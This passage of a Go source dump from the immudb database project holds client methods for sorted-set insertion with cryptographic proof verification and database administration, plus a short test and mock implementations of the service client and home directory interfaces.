[]byte) (*schema.TxHeader, error) { return c.ZAddAt(ctx, set, score, key, 0) } // ZAddAt adds a new entry to sorted set. // New entry is a reference to some other key's value at a specific transaction // with additional score used for ordering set members. func (c *immuClient) ZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("ZAddAt", start) hdr, err := c.ServiceClient.ZAdd(ctx, &schema.ZAddRequest{ Set: set, Score: score, Key: key, AtTx: atTx, BoundRef: atTx > 0, }) if err != nil { return nil, err } if int(hdr.Nentries) != 1 { return nil, store.ErrCorruptedData } return hdr, nil } // VerifiedZAdd adds a new entry to sorted set. // New entry is a reference to some other key's value // with additional score used for ordering set members. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. func (c *immuClient) VerifiedZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) { return c.VerifiedZAddAt(ctx, set, score, key, 0) } // VerifiedZAddAt adds a new entry to sorted set. // New entry is a reference to some other key's value at a specific transaction // with additional score used for ordering set members. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. func (c *immuClient) VerifiedZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) { err := c.StateService.CacheLock() if err != nil { return nil, err } defer c.StateService.CacheUnlock() if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } start := time.Now() defer c.debugElapsedTime("VerifiedZAddAt", start) state, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase) if err != nil { return nil, err } req := &schema.VerifiableZAddRequest{ ZAddRequest: &schema.ZAddRequest{ Set: set, Score: score, Key: key, AtTx: atTx, }, ProveSinceTx: state.TxId, } var metadata runtime.ServerMetadata vtx, err := c.ServiceClient.VerifiableZAdd( ctx, req, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD), ) if err != nil { return nil, err } if vtx.Tx.Header.Nentries != 1 { return nil, store.ErrCorruptedData } tx := schema.TxFromProto(vtx.Tx) entrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version) if err != nil { return nil, err } ekv := database.EncodeZAdd(req.ZAddRequest.Set, req.ZAddRequest.Score, database.EncodeKey(req.ZAddRequest.Key), req.ZAddRequest.AtTx, ) inclusionProof, err := tx.Proof(ekv.Key) if err != nil { return nil, err } verifies := store.VerifyInclusion(inclusionProof, entrySpecDigest(ekv), tx.Header().Eh) if !verifies { return nil, store.ErrCorruptedData } if tx.Header().Eh != schema.DigestFromProto(vtx.DualProof.TargetTxHeader.EH) { return nil, store.ErrCorruptedData } var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte sourceID = state.TxId sourceAlh = schema.DigestFromProto(state.TxHash) targetID = tx.Header().ID targetAlh = tx.Header().Alh() if state.TxId > 0 { dualProof := schema.DualProofFromProto(vtx.DualProof) err := c.verifyDualProof( ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil { return nil, err } } newState := &schema.ImmutableState{ Db: c.currentDatabase(), TxId: targetID, TxHash: targetAlh[:], Signature: vtx.Signature, } if c.serverSigningPubKey != nil { err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) if err != nil { return nil, err } return vtx.Tx.Header, nil } // Dump is currently not implemented. func (c *immuClient) Dump(ctx context.Context, writer io.WriteSeeker) (int64, error) { return 0, errors.New("Functionality not yet supported") } // Get server health information. // // Deprecated: use ServerInfo. func (c *immuClient) HealthCheck(ctx context.Context) error { start := time.Now() if !c.IsConnected() { return ErrNotConnected } response, err := c.ServiceClient.Health(ctx, &empty.Empty{}) if err != nil { return err } if !response.Status { return ErrHealthCheckFailed } c.Logger.Debugf("health-check finished in %s", time.Since(start)) return nil } func (c *immuClient) currentDatabase() string { if c.Options.CurrentDatabase == "" { return DefaultDB } return c.Options.CurrentDatabase } // CreateDatabase creates new database within server instance. // This call requires SysAdmin permission level. // // Deprecated: Use CreateDatabaseV2 func (c *immuClient) CreateDatabase(ctx context.Context, settings *schema.DatabaseSettings) error { start := time.Now() if !c.IsConnected() { return ErrNotConnected } _, err := c.ServiceClient.CreateDatabaseWith(ctx, settings) c.Logger.Debugf("CreateDatabase finished in %s", time.Since(start)) return err } // CreateDatabaseV2 creates a new database. // This call requires SysAdmin permission level. func (c *immuClient) CreateDatabaseV2(ctx context.Context, name string, settings *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error) { start := time.Now() if !c.IsConnected() { return nil, ErrNotConnected } res, err := c.ServiceClient.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ Name: name, Settings: settings, }) if err != nil { return nil, errors.FromError(err) } c.Logger.Debugf("CreateDatabase finished in %s", time.Since(start)) return res, nil } // LoadDatabase loads database on the server. A database is not loaded // if it has AutoLoad setting set to false or if it failed to load during // immudb startup. // // This call requires SysAdmin permission level or admin permission to the database. func (c *immuClient) LoadDatabase(ctx context.Context, r *schema.LoadDatabaseRequest) (*schema.LoadDatabaseResponse, error) { start := time.Now() if !c.IsConnected() { return nil, ErrNotConnected } res, err := c.ServiceClient.LoadDatabase(ctx, r) c.Logger.Debugf("LoadDatabase finished in %s", time.Since(start)) return res, err } // UnloadDatabase unloads database on the server. Such database becomes inaccessible // by the client and server frees internal resources allocated for that database. // // This call requires SysAdmin permission level or admin permission to the database. func (c *immuClient) UnloadDatabase(ctx context.Context, r *schema.UnloadDatabaseRequest) (*schema.UnloadDatabaseResponse, error) { start := time.Now() if !c.IsConnected() { return nil, ErrNotConnected } res, err := c.ServiceClient.UnloadDatabase(ctx, r) c.Logger.Debugf("UnloadDatabase finished in %s", time.Since(start)) return res, err } // DeleteDatabase removes an unloaded database. // This also removes locally stored files used by the database. // // This call requires SysAdmin permission level or admin permission to the database. func (c *immuClient) DeleteDatabase(ctx context.Context, r *schema.DeleteDatabaseRequest) (*schema.DeleteDatabaseResponse, error) { start := time.Now() if !c.IsConnected() { return nil, ErrNotConnected } res, err := c.ServiceClient.DeleteDatabase(ctx, r) c.Logger.Debugf("DeleteDatabase finished in %s", time.Since(start)) return res, err } // UseDatabase changes the currently selected database. // // This call requires at least read permission level for the target database. func (c *immuClient) UseDatabase(ctx context.Context, db *schema.Database) (*schema.UseDatabaseReply, error) { start := time.Now() if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } result, err := c.ServiceClient.UseDatabase(ctx, db) if err != nil { return nil, errors.FromError(err) } c.Options.CurrentDatabase = db.DatabaseName if c.SessionID == "" { if err = c.Tkns.SetToken(db.DatabaseName, result.Token); err != nil { return nil, errors.FromError(err) } } c.Logger.Debugf("UseDatabase finished in %s", time.Since(start)) return result, errors.FromError(err) } // UpdateDatabase updates database settings. // // Deprecated: Use UpdateDatabaseV2. func (c *immuClient) UpdateDatabase(ctx context.Context, settings *schema.DatabaseSettings) error { start := time.Now() if !c.IsConnected() { return ErrNotConnected } _, err := c.ServiceClient.UpdateDatabase(ctx, settings) c.Logger.Debugf("UpdateDatabase finished in %s", time.Since(start)) return err } // UpdateDatabaseV2 updates database settings. // // Settings can be set selectively - values not set in the settings object // will not be updated. // // The returned value is the list of settings after the update. // // Settings other than those related to replication will only be applied after // immudb restart or unload/load cycle of the database. func (c *immuClient) UpdateDatabaseV2(ctx context.Context, database string, settings *schema.DatabaseNullableSettings) (*schema.UpdateDatabaseResponse, error) { start := time.Now() if !c.IsConnected() { return nil, ErrNotConnected } res, err := c.ServiceClient.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{ Database: database, Settings: settings, }) if err != nil { return nil, errors.FromError(err) } c.Logger.Debugf("UpdateDatabase finished in %s", time.Since(start)) return res, err } // GetDatabaseSettings returns current database settings. // // Deprecated: Use GetDatabaseSettingsV2. func (c *immuClient) GetDatabaseSettings(ctx context.Context) (*schema.DatabaseSettings, error) { if !c.IsConnected() { return nil, ErrNotConnected } return c.ServiceClient.GetDatabaseSettings(ctx, &empty.Empty{}) } // GetDatabaseSettingsV2 returns current database settings. func (c *immuClient) GetDatabaseSettingsV2(ctx context.Context) (*schema.DatabaseSettingsResponse, error) { if !c.IsConnected() { return nil, ErrNotConnected } res, err := c.ServiceClient.GetDatabaseSettingsV2(ctx, &schema.DatabaseSettingsRequest{}) if err != nil { return nil, errors.FromError(err) } return res, nil } // FlushIndex requests a flush operation from the database. // This call requires SysAdmin or Admin permission to given database. // // The cleanupPercentage value is the amount of index nodes data in percent // that will be scanned in order to free up unused disk space. func (c *immuClient) FlushIndex(ctx context.Context, cleanupPercentage float32, synced bool) (*schema.FlushIndexResponse, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } res, err := c.ServiceClient.FlushIndex(ctx, &schema.FlushIndexRequest{ CleanupPercentage: cleanupPercentage, Synced: synced, }) if err != nil { return nil, errors.FromError(err) } return res, nil } // CompactIndex perform full database compaction. // This call requires SysAdmin or Admin permission to given database. // // Note: Full compaction will greatly affect the performance of the database. // It should also be called only when there's a minimal database activity, // if full compaction collides with a read or write operation, it will be aborted // and may require retry of the whole operation. For that reason it is preferred // to periodically call FlushIndex with a small value of cleanupPercentage or set the // cleanupPercentage database option. func (c *immuClient) CompactIndex(ctx context.Context, req *empty.Empty) error { start := time.Now() if !c.IsConnected() { return errors.FromError(ErrNotConnected) } _, err := c.ServiceClient.CompactIndex(ctx, req) c.Logger.Debugf("CompactIndex finished in %s", time.Since(start)) return err } // ChangePermission grants or revokes permission to one database for given user. // // This call requires SysAdmin or admin permission to the database where we grant permissions. // // The permission argument is used when granting permission and can be one of those values: // - 1 (auth.PermissionR) - read-only access // - 2 (auth.PermissionRW) - read-write access // - 254 (auth.PermissionAdmin) - read-write with admin rights // // The following restrictions are applied: // - the user can not change permission for himself // - can not change permissions of the SysAdmin user // - the user must be active // - when the user already had permission to the database, it is overwritten // by the new permission (even if the user had higher permission before) func (c *immuClient) ChangePermission(ctx context.Context, action schema.PermissionAction, username string, database string, permissions uint32) error { start := time.Now() if !c.IsConnected() { return ErrNotConnected } in := &schema.ChangePermissionRequest{ Action: action, Username: username, Database: database, Permission: permissions, } _, err := c.ServiceClient.ChangePermission(ctx, in) c.Logger.Debugf("ChangePermission finished in %s", time.Since(start)) return err } // SetActiveUser activates or deactivates a user. // This call requires SysAdmin or Admin permission. func (c *immuClient) SetActiveUser(ctx context.Context, u *schema.SetActiveUserRequest) error { start := time.Now() if !c.IsConnected() { return ErrNotConnected } _, err := c.ServiceClient.SetActiveUser(ctx, u) c.Logger.Debugf("SetActiveUser finished in %s", time.Since(start)) return err } // Return list of databases // // Deprecated: Use DatabaseListV2 func (c *immuClient) DatabaseList(ctx context.Context) (*schema.DatabaseListResponse, error) { start := time.Now() if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } result, err := c.ServiceClient.DatabaseList(ctx, &empty.Empty{}) c.Logger.Debugf("DatabaseList finished in %s", time.Since(start)) return result, err } // DatabaseListV2 returns a list of databases the user has access to. func (c *immuClient) DatabaseListV2(ctx context.Context) (*schema.DatabaseListResponseV2, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.DatabaseListV2(ctx, &schema.DatabaseListRequestV2{}) } func decodeTxEntries(entries []*schema.TxEntry) { for _, it := range entries { it.Key = it.Key[1:] } } // TruncateDatabase truncates the database to the given retention period. func (c *immuClient) TruncateDatabase(ctx context.Context, db string, retentionPeriod time.Duration) error { start := time.Now() if !c.IsConnected() { return ErrNotConnected } in := &schema.TruncateDatabaseRequest{ Database: db, RetentionPeriod: retentionPeriod.Milliseconds(), } _, err := c.ServiceClient.TruncateDatabase(ctx, in) c.Logger.Debugf("TruncateDatabase finished in %s", time.Since(start)) return err } // VerifiableGet func (c *immuClient) VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) { result, err := c.ServiceClient.VerifiableGet(ctx, in, opts...) return result, err } ================================================ FILE: pkg/client/client_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "fmt" "os" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestLogErr(t *testing.T) { logger := logger.NewSimpleLogger("client_test", os.Stderr) require.Nil(t, logErr(logger, "error: %v", nil)) err := fmt.Errorf("expected error") require.ErrorIs(t, logErr(logger, "error: %v", err), err) } func TestImmuClient_Truncate(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithDir("false")) c.ServiceClient = &immuServiceClientMock{ TruncateF: func(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error) { return &schema.TruncateDatabaseResponse{ Database: "test", }, nil }, } st := time.Now().Add(-24 * time.Hour) dur := time.Since(st) err := c.TruncateDatabase(context.Background(), "defaultdb", dur) require.Error(t, err) } ================================================ FILE: pkg/client/clienttest/homedir_mock.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package clienttest ... package clienttest import ( "github.com/codenotary/immudb/pkg/client/homedir" ) var ( _ homedir.HomedirService = (*HomedirServiceMock)(nil) ) // HomedirServiceMock ... type HomedirServiceMock struct { homedir.HomedirService WriteFileToUserHomeDirF func(content []byte, pathToFile string) error FileExistsInUserHomeDirF func(pathToFile string) (bool, error) ReadFileFromUserHomeDirF func(pathToFile string) (string, error) DeleteFileFromUserHomeDirF func(pathToFile string) error } // WriteFileToUserHomeDir ... func (h *HomedirServiceMock) WriteFileToUserHomeDir(content []byte, pathToFile string) error { return h.WriteFileToUserHomeDirF(content, pathToFile) } // FileExistsInUserHomeDir ... func (h *HomedirServiceMock) FileExistsInUserHomeDir(pathToFile string) (bool, error) { return h.FileExistsInUserHomeDirF(pathToFile) } // ReadFileFromUserHomeDir ... func (h *HomedirServiceMock) ReadFileFromUserHomeDir(pathToFile string) (string, error) { return h.ReadFileFromUserHomeDirF(pathToFile) } // DeleteFileFromUserHomeDir ... func (h *HomedirServiceMock) DeleteFileFromUserHomeDir(pathToFile string) error { return h.DeleteFileFromUserHomeDirF(pathToFile) } // DefaultHomedirServiceMock ... func DefaultHomedirServiceMock() *HomedirServiceMock { return &HomedirServiceMock{ WriteFileToUserHomeDirF: func(content []byte, pathToFile string) error { return nil }, FileExistsInUserHomeDirF: func(pathToFile string) (bool, error) { return false, nil }, ReadFileFromUserHomeDirF: func(pathToFile string) (string, error) { return "", nil }, DeleteFileFromUserHomeDirF: func(pathToFile string) error { return nil }, } } ================================================ FILE: pkg/client/clienttest/immuServiceClient_mock.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package clienttest ... package clienttest import ( "context" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/grpc" ) var ( _ schema.ImmuServiceClient = (*ImmuServiceClientMock)(nil) ) // ImmuServiceClientMock ... type ImmuServiceClientMock struct { schema.ImmuServiceClient ListUsersF func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.UserList, error) GetUserF func(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) error CreateUserF func(ctx context.Context, in *schema.CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) ChangePasswordF func(ctx context.Context, in *schema.ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) DeactivateUserF func(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) (*empty.Empty, error) UpdateAuthConfigF func(ctx context.Context, in *schema.AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) UpdateMTLSConfigF func(ctx context.Context, in *schema.MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) LoginF func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) LogoutF func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) SetF func(ctx context.Context, in *schema.SetRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) VerifiableSetF func(ctx context.Context, in *schema.VerifiableSetRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) GetF func(ctx context.Context, in *schema.KeyRequest, opts ...grpc.CallOption) (*schema.Entry, error) VerifiableGetF func(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) GetAllF func(ctx context.Context, in *schema.KeyListRequest, opts ...grpc.CallOption) (*schema.Entries, error) ExecAllF func(ctx context.Context, in *schema.ExecAllRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) ScanF func(ctx context.Context, in *schema.ScanRequest, opts ...grpc.CallOption) (*schema.Entries, error) CountF func(ctx context.Context, in *schema.KeyPrefix, opts ...grpc.CallOption) (*schema.EntryCount, error) CountAllF func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.EntryCount, error) TxByIdF func(ctx context.Context, in *schema.TxRequest, opts ...grpc.CallOption) (*schema.Tx, error) VerifiableTxByIdF func(ctx context.Context, in *schema.VerifiableTxRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) HistoryF func(ctx context.Context, in *schema.HistoryRequest, opts ...grpc.CallOption) (*schema.Entries, error) HealthF func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) CurrentStateF func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ImmutableState, error) SetReferenceF func(ctx context.Context, in *schema.ReferenceRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) VerifiableSetReferenceF func(ctx context.Context, in *schema.VerifiableReferenceRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) ZAddF func(ctx context.Context, in *schema.ZAddRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) VerifiableZAddF func(ctx context.Context, in *schema.VerifiableZAddRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) ZScanF func(ctx context.Context, in *schema.ZScanRequest, opts ...grpc.CallOption) (*schema.ZEntries, error) CreateDatabaseF func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*empty.Empty, error) CreateDatabaseWithF func(ctx context.Context, in *schema.DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) UseDatabaseF func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) UpdateDatabaseF func(ctx context.Context, in *schema.DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) ChangePermissionF func(ctx context.Context, in *schema.ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) SetActiveUserF func(ctx context.Context, in *schema.SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) DatabaseListF func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) OpenSessionF func(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) } func (icm *ImmuServiceClientMock) ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.UserList, error) { return icm.ListUsersF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) GetUser(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) error { return icm.GetUserF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) CreateUser(ctx context.Context, in *schema.CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.CreateUserF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) ChangePassword(ctx context.Context, in *schema.ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.ChangePasswordF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) DeactivateUser(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.DeactivateUserF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) UpdateAuthConfig(ctx context.Context, in *schema.AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.UpdateAuthConfigF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) UpdateMTLSConfig(ctx context.Context, in *schema.MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.UpdateMTLSConfigF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) Login(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) { return icm.LoginF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.LogoutF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) Set(ctx context.Context, in *schema.SetRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) { return icm.SetF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) VerifiableSet(ctx context.Context, in *schema.VerifiableSetRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { return icm.VerifiableSetF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) Get(ctx context.Context, in *schema.KeyRequest, opts ...grpc.CallOption) (*schema.Entry, error) { return icm.GetF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) { return icm.VerifiableGetF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) GetAll(ctx context.Context, in *schema.KeyListRequest, opts ...grpc.CallOption) (*schema.Entries, error) { return icm.GetAllF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) ExecAll(ctx context.Context, in *schema.ExecAllRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) { return icm.ExecAllF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) Scan(ctx context.Context, in *schema.ScanRequest, opts ...grpc.CallOption) (*schema.Entries, error) { return icm.ScanF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) Count(ctx context.Context, in *schema.KeyPrefix, opts ...grpc.CallOption) (*schema.EntryCount, error) { return icm.CountF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.EntryCount, error) { return icm.CountAllF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) TxById(ctx context.Context, in *schema.TxRequest, opts ...grpc.CallOption) (*schema.Tx, error) { return icm.TxByIdF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) VerifiableTxById(ctx context.Context, in *schema.VerifiableTxRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { return icm.VerifiableTxByIdF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) History(ctx context.Context, in *schema.HistoryRequest, opts ...grpc.CallOption) (*schema.Entries, error) { return icm.HistoryF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) { return icm.HealthF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) CurrentState(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ImmutableState, error) { return icm.CurrentStateF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) SetReference(ctx context.Context, in *schema.ReferenceRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) { return icm.SetReferenceF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) VerifiableSetReference(ctx context.Context, in *schema.VerifiableReferenceRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { return icm.VerifiableSetReferenceF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) ZAdd(ctx context.Context, in *schema.ZAddRequest, opts ...grpc.CallOption) (*schema.TxHeader, error) { return icm.ZAddF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) VerifiableZAdd(ctx context.Context, in *schema.VerifiableZAddRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { return icm.VerifiableZAddF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) ZScan(ctx context.Context, in *schema.ZScanRequest, opts ...grpc.CallOption) (*schema.ZEntries, error) { return icm.ZScanF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) CreateDatabase(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.CreateDatabaseF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) CreateDatabaseWith(ctx context.Context, in *schema.DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.CreateDatabaseWithF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) UseDatabase(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) { return icm.UseDatabaseF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) UpdateDatabase(ctx context.Context, in *schema.DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.UpdateDatabaseF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) ChangePermission(ctx context.Context, in *schema.ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.ChangePermissionF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) SetActiveUser(ctx context.Context, in *schema.SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.SetActiveUserF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) { return icm.DatabaseListF(ctx, in, opts...) } func (icm *ImmuServiceClientMock) OpenSession(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) { return icm.OpenSessionF(ctx, in, opts...) } ================================================ FILE: pkg/client/clienttest/immuclient_mock.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package clienttest ... package clienttest import ( "context" "io" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" immuclient "github.com/codenotary/immudb/pkg/client" "google.golang.org/grpc" ) var ( _ client.ImmuClient = (*ImmuClientMock)(nil) ) // ImmuClientMock ... type ImmuClientMock struct { immuclient.ImmuClient GetOptionsF func() *client.Options IsConnectedF func() bool HealthCheckF func(context.Context) error WaitForHealthCheckF func(context.Context) error ConnectF func(context.Context) (*grpc.ClientConn, error) DisconnectF func() error LoginF func(context.Context, []byte, []byte) (*schema.LoginResponse, error) LogoutF func(context.Context) error VerifiedGetF func(context.Context, []byte, ...client.GetOption) (*schema.Entry, error) VerifiedGetAtF func(context.Context, []byte, uint64) (*schema.Entry, error) VerifiedSetF func(context.Context, []byte, []byte) (*schema.TxHeader, error) VerifiableGetF func(context.Context, *schema.VerifiableGetRequest, ...grpc.CallOption) (*schema.VerifiableEntry, error) SetF func(context.Context, []byte, []byte) (*schema.TxHeader, error) SetAllF func(context.Context, *schema.SetRequest) (*schema.TxHeader, error) SetReferenceF func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error) VerifiedSetReferenceF func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error) ZAddF func(context.Context, []byte, float64, []byte, uint64) (*schema.TxHeader, error) VerifiedZAddF func(context.Context, []byte, float64, []byte, uint64) (*schema.TxHeader, error) HistoryF func(context.Context, *schema.HistoryRequest) (*schema.Entries, error) UseDatabaseF func(context.Context, *schema.Database) (*schema.UseDatabaseReply, error) DumpF func(context.Context, io.WriteSeeker) (int64, error) CurrentStateF func(context.Context) (*schema.ImmutableState, error) TxByIDF func(context.Context, uint64) (*schema.Tx, error) GetF func(context.Context, []byte, ...client.GetOption) (*schema.Entry, error) VerifiedTxByIDF func(context.Context, uint64) (*schema.Tx, error) ListUsersF func(context.Context) (*schema.UserList, error) SetActiveUserF func(context.Context, *schema.SetActiveUserRequest) error ChangePermissionF func(context.Context, schema.PermissionAction, string, string, uint32) error ZScanF func(context.Context, *schema.ZScanRequest) (*schema.ZEntries, error) ScanF func(context.Context, *schema.ScanRequest) (*schema.Entries, error) CountF func(context.Context, []byte) (*schema.EntryCount, error) CreateDatabaseF func(context.Context, *schema.DatabaseSettings) error CreateDatabaseV2F func(context.Context, string, *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error) UpdateDatabaseF func(context.Context, *schema.DatabaseSettings) error UpdateDatabaseV2F func(context.Context, string, 